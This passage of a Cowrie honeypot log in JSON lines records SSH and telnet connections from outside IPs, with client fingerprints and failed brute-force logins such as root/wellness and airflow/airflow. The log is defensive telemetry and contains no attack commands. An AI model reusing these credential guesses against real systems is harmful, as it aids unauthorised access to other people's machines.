mac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:35.213661Z","src_ip":"45.153.34.112","session":"24c7d24bbf6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:35.448053Z","src_ip":"170.106.177.3","session":"f4dab8b935a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wellness","message":"login attempt [root/wellness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:35.518286Z","src_ip":"81.9.145.130","session":"3d65e9326441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:35.761075Z","src_ip":"45.153.34.112","session":"24c7d24bbf6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.088985204696655,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:35.876676Z","src_ip":"195.184.76.149","session":"f027b775f06f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:36.639753Z","src_ip":"81.9.145.130","session":"3d65e9326441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:36.845421Z","src_ip":"45.153.34.112","session":"24c7d24bbf6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50088,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68d129afe03","protocol":"telnet","message":"New connection: 192.119.13.58:50088 (10.17.0.5:23) [session: e68d129afe03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:37.206658Z"}
{"eventid":"cowrie.session.closed","duration":42.962053298950195,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:37.266836Z","src_ip":"192.119.13.58","session":"0316114c4e48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33632,"dst_ip":"10.17.0.5","dst_port":22,"session":"b75cc29167a0","protocol":"ssh","message":"New connection: 45.153.34.112:33632 (10.17.0.5:22) [session: b75cc29167a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:38.790119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:38.793696Z","src_ip":"45.153.34.112","session":"b75cc29167a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:38.875881Z","src_ip":"45.153.34.112","session":"b75cc29167a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:39.125449Z","src_ip":"45.153.34.112","session":"b75cc29167a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:40.212504Z","src_ip":"45.153.34.112","session":"b75cc29167a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.90875840187073,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:40.418865Z","src_ip":"192.119.13.58","session":"ca94213c0506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3132860660553,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:40.636443Z","src_ip":"192.119.13.58","session":"c3244b7ba243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":40962,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e56f104a1c6","protocol":"ssh","message":"New connection: 43.153.112.253:40962 (10.17.0.5:22) [session: 3e56f104a1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:41.298836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:41.304400Z","src_ip":"43.153.112.253","session":"3e56f104a1c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:41.372226Z","src_ip":"43.153.112.253","session":"3e56f104a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":46614,"dst_ip":"10.17.0.5","dst_port":22,"session":"59bfbb1a38ca","protocol":"ssh","message":"New connection: 158.178.141.16:46614 (10.17.0.5:22) [session: 59bfbb1a38ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:41.434546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:41.439936Z","src_ip":"158.178.141.16","session":"59bfbb1a38ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:41.648214Z","src_ip":"158.178.141.16","session":"59bfbb1a38ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123123","message":"login attempt [root/aA123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:41.674064Z","src_ip":"43.153.112.253","session":"3e56f104a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34196,"dst_ip":"10.17.0.5","dst_port":22,"session":"debc2c45de49","protocol":"ssh","message":"New connection: 45.153.34.112:34196 (10.17.0.5:22) [session: debc2c45de49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:42.219218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:42.223928Z","src_ip":"45.153.34.112","session":"debc2c45de49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:42.306362Z","src_ip":"45.153.34.112","session":"debc2c45de49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43336,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cdccd08a543","protocol":"telnet","message":"New connection: 192.119.13.58:43336 (10.17.0.5:23) [session: 3cdccd08a543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:42.329080Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123$","message":"login attempt [root/root123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:42.513512Z","src_ip":"158.178.141.16","session":"59bfbb1a38ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:42.552377Z","src_ip":"45.153.34.112","session":"debc2c45de49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:42.749548Z","src_ip":"43.153.112.253","session":"3e56f104a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:43.638902Z","src_ip":"45.153.34.112","session":"debc2c45de49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:43.724986Z","src_ip":"158.178.141.16","session":"59bfbb1a38ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.244419097900391,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:44.450984Z","src_ip":"192.119.13.58","session":"e68d129afe03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34208,"dst_ip":"10.17.0.5","dst_port":22,"session":"41629d19ed7b","protocol":"ssh","message":"New connection: 45.153.34.112:34208 (10.17.0.5:22) [session: 41629d19ed7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:45.891138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:45.895906Z","src_ip":"45.153.34.112","session":"41629d19ed7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:45.978258Z","src_ip":"45.153.34.112","session":"41629d19ed7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:46.225666Z","src_ip":"45.153.34.112","session":"41629d19ed7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35860,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf601121d7f","protocol":"telnet","message":"New connection: 192.119.13.58:35860 (10.17.0.5:23) [session: 0bf601121d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:47.298737Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:47.310578Z","src_ip":"45.153.34.112","session":"41629d19ed7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.78839945793152,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:47.516357Z","src_ip":"192.119.13.58","session":"98cdf233a478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33536,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdc2b9022f2","protocol":"telnet","message":"New connection: 192.119.13.58:33536 (10.17.0.5:23) [session: acdc2b9022f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:47.795164Z"}
{"eventid":"cowrie.session.closed","duration":42.63036847114563,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:48.187549Z","src_ip":"192.119.13.58","session":"12da9a4f20f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.039215087890625,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:49.246540Z","src_ip":"192.119.13.58","session":"3b91accb5373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34214,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cf93eb04c8e","protocol":"ssh","message":"New connection: 45.153.34.112:34214 (10.17.0.5:22) [session: 5cf93eb04c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:49.318142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:49.322812Z","src_ip":"45.153.34.112","session":"5cf93eb04c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:49.405082Z","src_ip":"45.153.34.112","session":"5cf93eb04c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40764,"dst_ip":"10.17.0.5","dst_port":23,"session":"7729b117f6bc","protocol":"telnet","message":"New connection: 192.119.13.58:40764 (10.17.0.5:23) [session: 7729b117f6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:49.459234Z"}
{"eventid":"cowrie.session.closed","duration":48.25767660140991,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:49.476588Z","src_ip":"192.119.13.58","session":"8493127b5c1b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:49.651756Z","src_ip":"45.153.34.112","session":"5cf93eb04c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.85","src_port":38931,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b64c72bb88","protocol":"telnet","message":"New connection: 195.184.76.85:38931 (10.17.0.5:23) [session: 16b64c72bb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:50.462218Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xd1\\x0f3\\xb1\\xd7\\xb3^G7\\x90+F\\xfc\\xfe\\x0e\\xd3\\xfb83O\\x02\\x8c\\xd1\\x0f\\xbe\\x06N1\\xea?.d -\\xc3\\xdcq\\xf1\\xdf\\xdd\\x8b\\x97\\xdb\\xfc\\xd73,\\xabz\\xcb\\xcd\\x0c\\xe6c/\\x81\\x89\\x8fGM\\xa9\\xb6\\x99\\xd9?\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'","password":"b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"","message":"login attempt [b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xd1\\x0f3\\xb1\\xd7\\xb3^G7\\x90+F\\xfc\\xfe\\x0e\\xd3\\xfb83O\\x02\\x8c\\xd1\\x0f\\xbe\\x06N1\\xea?.d 